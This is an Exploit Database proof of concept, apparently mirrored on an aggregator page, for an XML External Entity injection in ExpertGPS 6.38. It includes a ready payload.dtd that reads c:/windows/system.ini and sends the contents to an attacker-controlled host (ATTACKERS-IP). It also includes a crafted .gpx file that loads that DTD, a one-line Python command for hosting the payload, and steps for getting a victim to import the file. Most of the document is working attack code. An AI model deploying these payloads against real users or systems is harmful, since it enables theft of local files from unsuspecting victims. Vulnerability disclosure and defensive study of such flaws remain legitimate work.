ExpertGPS 6.38 – XML External Entity Injection

• Exploit Database
• 35 阅读

• 作者： Trent Gordon
  日期： 2020-02-07
• 类别：

  • webapps
  平台：

  • xml
• 来源：https://www.exploit-db.com/exploits/48026/

• [+] Exploit Title: ExpertGPS 6.38 - XML External Entity Injection
  [+] Date: 2019-12-07
  [+] Exploit Author: Trent Gordon
  [+] Vendor Homepage: https://www.topografix.com/
  [+] Software Link: http://download.expertgps.com/SetupExpertGPS.exe
  [+] Disclosed at: 7FEB2020
  [+] Version: 6.38
  [+] Tested on: Windows 10
  [+] CVE: N/A
   
  ==================
  Background:
  ==================
  ExpertGPS 6.38 is GPS software, distributed by TopoGrafix, that is designed to sync with commercial off-the-shelf GPS devices (Garmin, Magellin, etc.) and organize GPS waypoint data.One of the main file formats for saving GPS data is the .gpx format which is based on XML. 
   
  ==================
  Vulnerability:
  ==================
  By having a user import a crafted .gpx file (XML Based GPS data file), it is possible to execute a XXE injection which retrieves local files and exfiltrates them to a remote attacker.
  1.)Open ExpertGPS.exe
  2.)Select File -> Import Data from Other Programs...
  3.)Select the crafted route.gpx file (with listener open on ATTACKERS-IP) and click "Open".
   
  ==================
  Proof of Concept:
  ==================
   
  a.) python -m SimpleHTTPServer 9999 (listening on ATTACKERS-IP and hosting payload.dtd)
   
  b.) Hosted "payload.dtd"
   
  <?xml version="1.0" encoding="utf-8" ?>
  <!ENTITY % data SYSTEM "file:///c:/windows/system.ini">
  <!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM 'http://ATTACKERS-IP?%data;'>">
   
   
  c.) Exploited "route.xml"
   
  <?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE data [
  <!ENTITY % sp SYSTEM "http://ATTACKERS-IP:9999/payload.dtd">
  %sp;
  %param1;
  %exfil;
  ]>
  <gpx xmlns="http://www.topografix.com/GPX/1/1" version="1.1" creator="ExpertGPS 6.38 using Garmin Colorado 400t" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:wptx1="http://www.garmin.com/xmlschemas/WaypointExtension/v1" xmlns:gpxx="http://www.garmin.com/xmlschemas/GpxExtensions/v3" xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/1/gpx.xsd http://www.topografix.com/GPX/gpx_overlay/0/3 http://www.topografix.com/GPX/gpx_overlay/0/3/gpx_overlay.xsd http://www.topografix.com/GPX/gpx_modified/0/1 http://www.topografix.com/GPX/gpx_modified/0/1/gpx_modified.xsd http://www.topografix.com/GPX/Private/TopoGrafix/0/4 http://www.topografix.com/GPX/Private/TopoGrafix/0/4/topografix.xsd http://www.garmin.com/xmlschemas/WaypointExtension/v1 http://www8.garmin.com/xmlschemas/WaypointExtensionv1.xsd http://www.garmin.com/xmlschemas/GpxExtensions/v3 http://www.garmin.com/xmlschemas/GpxExtensionsv3.xsd">
  <metadata>
  <bounds minlat="38.89767500" minlon="-77.03654700" maxlat="38.89767500" maxlon="-77.03654700"/>
  <extensions>
  <time xmlns="http://www.topografix.com/GPX/gpx_modified/0/1">2019-12-08T03:35:44.731Z</time>
  <active_point xmlns="http://www.topografix.com/GPX/Private/TopoGrafix/0/4" lat="38.89767500" lon="-77.03654700">
  </active_point>
  </extensions>
  </metadata>
  <wpt lat="38.89767500" lon="-77.03654700">
  <time>2019-12-08T03:35:44.732Z</time>
  <name>1600PennsylvaniaAvenuenWashingt</name>
  <cmt>1600 Pennsylvania Avenue
  Washington</cmt>
  <desc>1600 Pennsylvania Avenue
  Washington, DC 20500</desc>
  <sym>City (Small)</sym>
  <type>Address</type>
  <extensions>
  <label xmlns="http://www.topografix.com/GPX/gpx_overlay/0/3">
  <label_text>1600 Pennsylvania Avenue
  Washington, DC 20500</label_text>
  </label>
  <gpxx:WaypointExtension>
  <gpxx:Address>
  <gpxx:StreetAddress>1600 Pennsylvania Avenue</gpxx:StreetAddress>
  <gpxx:City>Washington</gpxx:City>
  <gpxx:State>DC</gpxx:State>
  <gpxx:Country>United States</gpxx:Country>
  <gpxx:PostalCode>20500</gpxx:PostalCode>
  </gpxx:Address>
  </gpxx:WaypointExtension>
  <wptx1:WaypointExtension>
  <wptx1:Address>
  <wptx1:StreetAddress>1600 Pennsylvania Avenue</wptx1:StreetAddress>
  <wptx1:City>Washington</wptx1:City>
  <wptx1:State>DC</wptx1:State>
  <wptx1:Country>United States</wptx1:Country>
  <wptx1:PostalCode>20500</wptx1:PostalCode>
  </wptx1:Address>
  </wptx1:WaypointExtension>
  </extensions>
  </wpt>
  <extensions>
  </extensions>
  </gpx>
  
  
  ==================
  Additional Attack Vectors:
  ==================
  There are numerous places in the software that allow for importing/opening a .gpx file.I did not test them all, but I strongly suspect them to all rely upon the same misconfigured XML Parser, and therefore be vulnerable to XXE.